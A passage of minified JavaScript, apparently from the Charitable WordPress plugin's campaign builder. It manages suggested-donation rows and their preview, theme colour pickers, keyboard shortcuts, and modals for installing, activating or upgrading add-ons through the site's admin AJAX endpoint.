field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\");wpchar.debug($element,\"initSuggestedDonationsMini\");app.updateSuggestdDonationsMiniRowsFromSettings($element,field_id);wpchar.debug($element,\"initSuggestedDonationsMini2\");app.redrawDonationAmountsPreview($element);wpchar.debug($element,\"initSuggestedDonationsMini3\");var $table=$element.closest(\".charitable-campaign-suggested-donations-mini\"),$add_row_button=$element.find(\"[data-charitable-add-row]\");$add_row_button.on(\"click\",function(){var type=$(this).data(\"charitable-add-row\");if(\"suggested-amount\"===type){wpchar.debug(\"type is suggesetd amount\");wpchar.debug($(this));app.add_suggested_amount_row($(this),\"mini\")}return false});$(\".charitable-campaign-suggested-donations-mini tbody\").sortable({items:\"tr:not(.to-copy)\",handle:\".handle\",stop:function(event,ui){wpchar.debug(\"sortable test mini \");app.reindex_rows(\"mini\");app.updateSuggestdDonationsRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this).parent())}});$table.on(\"click\",\".charitable-delete-row\",function(){app.delete_suggested_amount_row($(this),\"mini\");return false});$table.on(\"click\",\"th.default_amount-col a\",function(){$table.find(\".default_amount-col input\").prop(\"checked\",false);$(this).blur();return false});$table.on(\"change\",'input[type=\"radio\"]',function(){app.redrawDonationAmountsPreview($table);var radioButtonValue=$(this).val();$builder.find(\".charitable-campaign-suggested-donations-table\").find('input[type=\"radio\"]').prop(\"checked\",false);$builder.find(\".charitable-campaign-suggested-donations-table\").each(function(){$(this).find('input[type=\"radio\"][value=\"'+radioButtonValue+'\"]').prop(\"checked\",true)})})},add_suggested_amount_row:function($button,type=\"\"){wpchar.debug(\"add_suggested_amount_row\");wpchar.debug(\".charitable-campaign-suggested-donations\"+type);const $donations_table=type===\"recurring\"?$builder.find(\".charitable-campaign-suggested-recurring-donations-table\"):$builder.find(\".charitable-campaign-suggested-donations-table\");$donations_table.each(function(){wpchar.debug($(this));var $table=$(this).closest(\"table\").find(\"tbody\"),$clone=$table.find(\"tr.to-copy\").clone().removeClass(\"to-copy hidden\");var newIndex=$table.find(\"tr:not(.to-copy)\").length+1;$clone.attr(\"data-index\",newIndex);var inputFieldName=$clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"),newInputFieldName=inputFieldName.replace(\"[0]\",\"[\"+newIndex+\"]\"),inputFieldNameDescription=$clone.find('.description-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"),newInputFieldNameDescription=inputFieldNameDescription.replace(\"[0]\",\"[\"+newIndex+\"]\");wpchar.debug($clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations'));wpchar.debug($clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"));$clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\",newInputFieldName);$clone.find('.description-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\",newInputFieldNameDescription);$clone.find('.default_amount-col input[type=\"radio\"]').val(newIndex);wpchar.debug($table,\"table\");wpchar.debug($clone,\"clone\");$table.find(\".no-suggested-amounts\").hide();$table.append($clone);$clone.on(\"click\",\".charitable-delete-row\",function(){app.delete_suggested_amount_row($(this),type);return false})});app.redrawDonationAmountsPreview($builder.find(\".charitable-campaign-suggested-donations-table\").first());app.reindex_rows(type);if(type===\"\"){app.toggle_custom_donations_checkbox()}},delete_suggested_amount_row:function($button,type=\"\"){wpchar.debug(\"delete_suggested_amount_row\");wpchar.debug($button);wpchar.debug(type);var $row_to_delete=$button.closest(\"tr \"),row_to_delete_index=parseInt($row_to_delete.attr(\"data-index\"));wpchar.debug($row_to_delete);wpchar.debug(row_to_delete_index,\"row_to_delete_index\");const $donations_table=type===\"recurring\"?$builder.find(\".charitable-campaign-suggested-recurring-donations-table\"):$builder.find(\".charitable-campaign-suggested-donations-table\"),donations_table_class=type===\"recurring\"?\".charitable-campaign-suggested-recurring-donations-table\":\".charitable-campaign-suggested-donations-table\";if(row_to_delete_index>0){wpchar.debug($donations_table.find(' tbody tr[data-index=\"'+row_to_delete_index+'\"]'));wpchar.debug(donations_table_class+' tbody tr[data-index=\"'+row_to_delete_index+'\"]');$donations_table.find(' tbody tr[data-index=\"'+row_to_delete_index+'\"]').remove()}app.redrawDonationAmountsPreview($builder.find(\".charitable-campaign-suggested-donations-table\").first());var $table=$button.closest(\"table\").find(\"tbody\");if($table.find(\"tr:not(.to-copy)\").length==1){$table.find(\".no-suggested-amounts\").removeClass(\"hidden\").show()}app.reindex_rows(type);if(type===\"\"){app.reindex_rows(\"mini\")}else if(type===\"mini\"){app.reindex_rows()}if(type===\"\"){app.toggle_custom_donations_checkbox()}},reindex_rows:function(type=\"\"){wpchar.debug(\"reindex rows with type: \"+type);if(type!==\"\"){type=\"-\"+type}$(\".charitable-campaign-suggested-donations\"+type+\" tbody\").each(function(){$(this).children(\"tr\").not(\".no-suggested-amounts .to-copy\").each(function(index){$(this).find('input[type=\"radio\"]').val(index);$(this).attr(\"data-index\",index);$(this).find(\"input\").each(function(i){this.name=this.name.replace(\u002F(\\[\\d\\])\u002F,\"[\"+index+\"]\")})})})},redrawDonationAmountsPreview:function(targetTable){elements.$preview.find(\"ul.charitable-preview-donation-amounts\").each(function(index){var $theDontionAmountsList=$(this);$theDontionAmountsList.find(\"li\").remove();$(targetTable).find(\"tbody\").children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").not(\"hidden\").each(function(index){var theInputTextValue=$(this).find('input[type=\"text\"].campaign_suggested_donations').first().val();var selected=\"\";wpchar.debug($(this).find('input[type=\"radio\"]'));if($(this).find('input[type=\"radio\"]').is(\":checked\")){selected=\" selected\"}$theDontionAmountsList.append('\u003Cli class=\"charitable-preview-donation-amount suggested-donation-amount'+selected+'\">\u003Clabel>\u003Cinput type=\"radio\" name=\"donation_amount\" value=\"'+index+'\">\u003Cspan class=\"amount\">'+theInputTextValue+\"\u003C\u002Fspan>\u003C\u002Flabel>\u003C\u002Fli>\")});if($(\"#charitable-panel-field-settings-campaign_allow_custom_donations\").is(\":checked\")){$theDontionAmountsList.append('\u003Cli class=\"charitable-preview-donation-amount custom-donation-amount \">\u003Cspan class=\"custom-donation-amount-wrapper\">\u003Clabel>\u003Cinput type=\"radio\" name=\"donation_amount\" value=\"custom\">\u003Cspan class=\"description\">Custom amount\u003C\u002Fspan>\u003C\u002Flabel>\u003Cinput type=\"text\" disabled=\"&quot;true&quot;\" class=\"custom-donation-input\" name=\"custom_donation_amount\" placeholder=\"Custom Donation Amount\" value=\"\">\u003C\u002Fspan>\u003C\u002Fli>')}})},toggle_custom_donations_checkbox:function(){var $custom=$(\"#campaign_allow_custom_donations\"),$suggestions=$(\".charitable-campaign-suggested-donations tbody tr:not(.to-copy)\"),has_suggestions=$suggestions.length>1||false===$suggestions.first().hasClass(\"no-suggested-amounts\");$custom.prop(\"disabled\",!has_suggestions);if(!has_suggestions){$custom.prop(\"checked\",true)}},initTagField:function($element){$element.select2()},initColorPicker:function(){Coloris({el:\".coloris\"});Coloris.setInstance(\".instance2.primary\",{defaultColor:s.primaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColorBase);s.primaryThemeColor=s.primaryThemeColorBase;document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.primaryThemeColor=color}app.updateThemeCSS(\"primary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.secondary\",{defaultColor:s.secondaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColorBase);s.secondaryThemeColor=s.secondaryThemeColorBase;app.updateThemeCSS(\"secondary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.secondaryThemeColor=color;app.updateThemeCSS(\"secondary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.tertiary\",{defaultColor:s.tertiaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColorBase);s.tertiaryThemeColor=s.tertiaryThemeColorBase;app.updateThemeCSS(\"teritary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.tertiaryThemeColor=color;app.updateThemeCSS(\"teritary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.button-color\",{defaultColor:s.buttonThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColorBase);s.buttonThemeColor=s.buttonThemeColorBase;app.updateThemeCSS(\"button\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.buttonThemeColor=color;app.updateThemeCSS(\"button\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});elements.$fieldOptions.on(\"click\",\".clr-field button\",function(e){e.preventDefault();$(this).parent().find('input[type=\"text\"]').trigger(\"click\")})},initDatePicker:function($element){var $the_element=$element,options={dateFormat:$the_element.data(\"format\")||\"MM d, yy\",minDate:$the_element.data(\"min-date\")||\"\",beforeShow:function(input,inst){setTimeout(function(){$(\".ui-datepicker\").css(\"z-index\",99999999999999)},0)}};if($.isFunction($the_element.datepicker)){$the_element.datepicker(options);if($the_element.data(\"date\")){$the_element.datepicker(\"setDate\",this.$el.data(\"date\"))}if($the_element.data(\"min-date\")){$the_element.datepicker(\"option\",\"minDate\",this.$el.data(\"min-date\"))}}},trimFormTitle:function(){var $title=$(\".charitable-center-form-name\");if($title.text().length>38){var shortTitle=$title.text().trim().substring(0,38).split(\" \").slice(0,-1).join(\" \")+\"...\";$title.text(shortTitle)}},builderHotkeys:function(){hotkeys(\"esc,ctrl+1,ctrl+2,ctrl+3,ctrl+4,ctrl+5,ctrl+s,ctrl+p,ctrl+x,ctrl+v\",function(event,handler){switch(handler.key){case\"esc\":if($(\".charitable-builder-modal.charitable-builder-modal-template-preview\").hasClass(\"active\")){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\")}break;case\"ctrl+1\":$(elements.$templateButton,$builder).trigger(\"click\");break;case\"ctrl+2\":$(elements.$designButton,$builder).trigger(\"click\");break;case\"ctrl+3\":$(elements.$settingsButton,$builder).trigger(\"click\");break;case\"ctrl+4\":$(elements.$marketingButton,$builder).trigger(\"click\");break;case\"ctrl+5\":$(elements.$paymentButton,$builder).trigger(\"click\");break;case\"ctrl+s\":$(elements.$saveButton,$builder).trigger(\"click\");break;case\"ctrl+p\":$(elements.$previewButton,$builder).trigger(\"click\");break;case\"ctrl+x\":$(elements.$exitButton,$builder).trigger(\"click\");break;case\"ctrl+v\":$(elements.$viewCampaignButton,$builder).trigger(\"click\");break}})},openModalButtonClick:function(){$(document).on(\"click\",\".charitable-not-available:not(.charitable-add-fields-button)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-not-available.charitable-add-fields-button\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-disabled-modal:not(.charitable-add-fields-button)\",app.openModalWarningModal).on(\"mousedown\",\".charitable-add-fields-button.charitable-disabled-modal\",app.openModalWarningModal);$(document).on(\"click\",\".charitable-disabled-same_page:not(.charitable-add-fields-button)\",app.openModalWarningModal).on(\"mousedown\",\".charitable-add-fields-button.charitable-disabled-same_page\",app.openModalWarningModal);$(document).on(\"click\",\".charitable-not-installed:not(.charitable-add-fields-button)\",app.openModalButtonHandlerInstall).on(\"mousedown\",\".charitable-not-installed.charitable-add-fields-button\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\".charitable-not-activated:not(.charitable-add-fields-button)\",app.openModalButtonHandlerActivate).on(\"mousedown\",\".charitable-not-activated.charitable-add-fields-button\",app.openModalButtonHandlerActivate);$(document).on(\"click\",\".charitable-addon-file-missing:not(.charitable-add-fields-button)\",app.openModalButtonHandlerInstall).on(\"mousedown\",\".charitable-addon-file-missing.charitable-add-fields-button\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\".charitable-not-available:not(.charitable-setting-panel-upgrade-to-pro)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-not-available.charitable-setting-panel-upgrade-to-pro\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-need-upgrade:not(.charitable-setting-panel-upgrade-to-pro)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-need-upgrade.charitable-setting-panel-upgrade-to-pro\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-installed-refresh:not(.charitable-add-fields-button)\",app.openModalButtonHandlerActivatedRefresh).on(\"mousedown\",\".charitable-installed-refresh.charitable-add-fields-button\",app.openModalButtonHandlerActivatedRefresh);$(document).on(\"click\",\"a.button-link.charitable-not-activated\",app.openModalButtonHandlerActivate).on(\"mousedown\",\"a.button-link.charitable-not-activated\",app.openModalButtonHandlerActivate);$(document).on(\"click\",\"a.button-link.charitable-not-installed\",app.openModalButtonHandlerInstall).on(\"mousedown\",\"a.button-link.charitable-not-installed\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\"a.button-link.charitable-not-activated-button\",app.activateFromButton).on(\"mousedown\",\"a.button-link.charitable-not-activated-button\",app.activateFromButton);$(document).on(\"click\",\"a.button-link.charitable-not-installed-button\",app.installFromButton).on(\"mousedown\",\"a.button-link.charitable-not-installed-button\",app.installFromButton)},activateFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data(\"plugin-url\"),plugin_name=$(this).data(\"name\"),settings_url=$(this).data(\"settings-url\"),plugin_slug=$(this).data(\"plugin-slug\"),enable_url=$(this).data(\"enable-url\").length>0?$(this).data(\"enable-url\"):\"\";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,\"activate\",\"addon\",$button)},installFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data(\"plugin-url\"),plugin_name=$(this).data(\"name\"),settings_url=$(this).data(\"settings-url\"),plugin_slug=$(this).data(\"plugin-slug\"),enable_url=$(this).data(\"enable-url\").length>0?$(this).data(\"enable-url\"):\"\";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,\"install\",\"addon\",$button)},installFromButtonAjax:function(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,state,pluginType,$button){wpchar.debug(\"setAddonState\");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var plugin_ajax=plugin_url;if(\"install\"===state){if(enable_url.length>0){$button.text(\"Installing and activating gateway...\")}else{$button.text(\"Installing and activating...\")}$button.removeClass(\"charitable-not-installed-button\");$button.addClass(\"charitable-view-settings-button\")}else if(\"activate\"===state){if(enable_url.length>0){$button.text(\"Activating gateway...\")}else{$button.text(\"Activating...\")}$button.removeClass(\"charitable-not-activated-button\");$button.addClass(\"charitable-view-settings-button\");plugin_ajax=plugin_slug}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_ajax,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){if(\"install\"===state){$('a.button-link[data-plugin-slug=\"'+plugin_slug+'\"]').each(function(){$(this).text(\"View Settings\");$(this).removeClass(\"charitable-not-installed-button\");$(this).addClass(\"charitable-view-settings-button\");if(enable_url.length>0){$(this).attr(\"href\",enable_url)}else{$(this).attr(\"href\",settings_url)}$(this).attr(\"target\",\"_blank\")});$(\"section.header-content h2\").addClass(\"charitable-hidden\");$(\"section.header-content h2.charitable-header-content-activated\").removeClass(\"charitable-hidden\")}else if(\"activate\"===state){$('a.button-link[data-plugin-slug=\"'+plugin_slug+'\"]').each(function(){$(this).text(\"View Settings\");$(this).removeClass(\"charitable-not-installed-button\");$(this).addClass(\"charitable-view-settings-button\");if(enable_url.length>0){$(this).attr(\"href\",enable_url)}else{$(this).attr(\"href\",settings_url)}$(this).attr(\"target\",\"_blank\")});$(\"section.header-content h2\").addClass(\"charitable-hidden\");$(\"section.header-content h2.charitable-header-content-activated\").removeClass(\"charitable-hidden\")}}).fail(function(xhr){wpchar.debug(xhr.responseText)})},openModalWarningModal:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\"),icon=\"\",reason=\"\";if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}if($this.hasClass(\"charitable-disabled-modal\")){reason=\"modal\"}else if($this.hasClass(\"charitable-disabled-same_page\")){reason=\"same_page\"}app.modalWarningModal(name,reason,icon)},openModalButtonHandlerInstall:function(event){const $this=$(this);var icon=\"\",plugin_url=\"\",video=\"\",license=\"\",elementType=false;if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}if($this.data(\"install\")){plugin_url=$this.data(\"install\")}else if($this.data(\"plugin-url\")){plugin_url=$this.data(\"plugin-url\")}if($this.data(\"video\")){video=$this.data(\"video\")}if($this.data(\"license\")){license=$this.data(\"license\")}app.installModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandlerActivatedRefresh:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");app.activateRefreshModal(name,$this.data(\"video\"))},openModalButtonHandlerActivate:function(event){const $this=$(this);var icon=\"\",plugin_url=\"\",video=\"\",license=\"\",elementType=false;if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");if($this.data(\"plugin-url\")){plugin_url=$this.data(\"plugin-url\")}if($this.data(\"video\")){video=$this.data(\"video\")}if($this.data(\"license\")){license=$this.data(\"license\")}app.activateModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandler:function(event){const $this=$(this);if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let icon=\"\",name=$this.data(\"name\"),elementType=$this.data(\"type\");if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}const utmContent=\"utmValue\";app.upgradeModal(name,utmContent,$this.data(\"license\"),$this.data(\"video\"),elementType,icon)},modalWarningModal:function(feature,reason=\"\",icon=\"\"){var message=\"\",modalWidth=app.getUpgradeModalWidth(false),title=\"\";if(reason===\"modal\"){message=charitable_builder.field_disabled_due_to_modal.replace(\u002F%name%\u002Fg,feature)}else if(reason===\"same_page\"){message=charitable_builder.field_disabled_due_to_same_page.replace(\u002F%name%\u002Fg,feature)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-install-form\",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){}},cancel:{text:charitable_builder.go_to_settings,btnClass:\"btn-confirm\",action:function(){window.open(charitable_builder.settings_page_url)}}}})},setAddonState:function(plugin_url,plugin_name,state,pluginType,modal,clickedObject,callback){wpchar.debug(\"setAddonState\");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_url,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){callback(res,plugin_url,plugin_name,state,modal,clickedObject)}).fail(function(xhr){wpchar.debug(xhr.responseText)})},callBackAddonState:function(res,plugin_url=\"\",plugin_name=\"\",state=\"\",modal=false,clickedObject){wpchar.debug(\"callBackAddonState\");wpchar.debug(res);wpchar.debug(state);wpchar.debug(modal);var successText=\"\";if(res.success){if(\"install\"===state){wpchar.debug(\"installed\");if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}if(res.data.is_activated){successText=res.data.msg;app.upgradeModalAddonInstalledAndActivated(plugin_url,plugin_name,successText)}else{app.upgradeModalAddonInstalledAndActivatedFailed(plugin_url,plugin_name,successText)}}else if(\"activate\"===state){wpchar.debug(\"activated\");successText=res.data;if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass(\"charitable-installed-refresh\").removeClass(\"charitable-not-activated\");app.openModalButtonClick()}else{wpchar.debug(\"some other success\");successText=res.data;if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass(\"charitable-installed-refresh\").removeClass(\"charitable-not-activated\");app.openModalButtonClick()}}else{if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivatedFailed(plugin_url,plugin_name,successText)}},activateRefreshModal:function(name,video,icon=\"\"){wpchar.debug(\"activateRefreshModal\");wpchar.debug(name);wpchar.debug(video);var message=charitable_builder.activated_refresh.replace(\u002F%addon%\u002Fg,name),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+name+\" \"+charitable_builder.activated_refresh_title+\"\u003C\u002Fspan>\";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-activate-refresh\",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},activateModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=\"\"){wpchar.debug(\"activatelModal\");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(elementType);if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}var message=charitable_builder.activate.message.replace(\u002F%addon%\u002Fg,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.activate.title+\"\u003C\u002Fspan>\";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-activate-addon\",closeIcon:true,buttons:{cancel:{btnClass:\"btn-confirm\",keys:[\"esc\"],isHidden:false,isDisabled:false,action:function(){}},install:{text:charitable_builder.activate.button,btnClass:\"btn-confirm\",keys:[\"enter\"],isHidden:false,isDisabled:false,action:function(activateButton){activateButton.setText(charitable_builder.activating);activateButton.disable();this.$$cancel.prop(\"disabled\",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,\"activate\",\"addon\",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},installModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=\"\"){wpchar.debug(\"installModal\");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(clickedObject);wpchar.debug(elementType);if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}if($.inArray(type,[\"pro\",\"basic\",\"plus\",\"agency\",\"elite\"])\u003C0){return}var license_label=charitable_builder.charitable_license_label,message=charitable_builder.install[type].message.replace(\u002F%name%\u002Fg,license_label).replace(\u002F%addon%\u002Fg,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title=\"\";if(elementType){title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.install[\"pro-panel\"].title+\"\u003C\u002Fspan>\"}else{title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.install[type].title+\"\u003C\u002Fspan>\"}var modal=$.alert({backgroundDismiss:false,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-install-form\",closeIcon:false,buttons:{cancel:{btnClass:\"btn-confirm\",keys:[\"esc\"],isHidden:false,isDisabled:false,action:function(){}},confirmInstall:{text:charitable_builder.install[type].button,btnClass:\"btn-confirm\",keys:[\"enter\"],isHidden:false,isDisabled:false,action:function(confirmInstallButton){confirmInstallButton.setText(charitable_builder.installing);confirmInstallButton.disable();this.$$cancel.prop(\"disabled\",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,\"install\",\"addon\",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},formPanelUpgradeModal:function(){if(app.formPanelUpgradeModalOpen){return}var strings=typeof charitable_builder!==\"undefined\"&&charitable_builder.form_upgrade_modal?charitable_builder.form_upgrade_modal:{};app.formPanelUpgradeModalOpen=true;$.alert({backgroundDismiss:true,title:strings.title||\"\",icon:\"fa fa-lock\",content:strings.message||\"\",boxWidth:app.getUpgradeModalWidth(false),theme:\"modern,charitable-upgrade-form-lite\",closeIcon:true,onOpenBefore:function(){this.$body.find(\".jconfirm-content\").addClass(\"lite-upgrade\");if(strings.doc){this.$btnc.after(strings.doc)}},onClose:function(){app.formPanelUpgradeModalOpen=false},buttons:{confirm:{text:strings.button||\"\",btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){if(strings.upgrade_url){window.open(strings.upgrade_url,\"_blank\")}}}}})},upgradeModal:function(feature,utmContent,type,video,elementType=false,icon=\"\"){if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}if($.inArray(type,[\"pro\",\"basic\",\"plus\",\"agency\",\"elite\"])\u003C0){return}var isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title=\"\",message=\"\",button=\"\",typeCapitlized=\"pro\"!==type.toLowerCase()?type.charAt(0).toUpperCase()+type.slice(1):\"PRO\";if(elementType){title=feature+\" \"+charitable_builder.upgrade[\"pro-panel\"].title.replace(\u002F%plan%\u002Fg,typeCapitlized),message=charitable_builder.upgrade[\"pro-panel\"].message.replace(\u002F%name%\u002Fg,feature),message=message.replace(\u002F%plan%\u002Fg,typeCapitlized),button=charitable_builder.upgrade[\"pro-panel\"].button.replace(\u002F%name%\u002Fg,feature).replace(\"addon\",\"\"),button=button.replace(\u002F%plan%\u002Fg,typeCapitlized)}else{title=feature+\" \"+charitable_builder.upgrade[type].title.replace(\u002F%plan%\u002Fg,typeCapitlized),message=charitable_builder.upgrade[type].message.replace(\u002F%name%\u002Fg,feature),message=message.replace(\u002F%plan%\u002Fg,typeCapitlized),button=charitable_builder.upgrade[type].button.replace(\u002F%name%\u002Fg,feature).replace(\"addon\",\"\"),button=button.replace(\u002F%plan%\u002Fg,typeCapitlized)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa 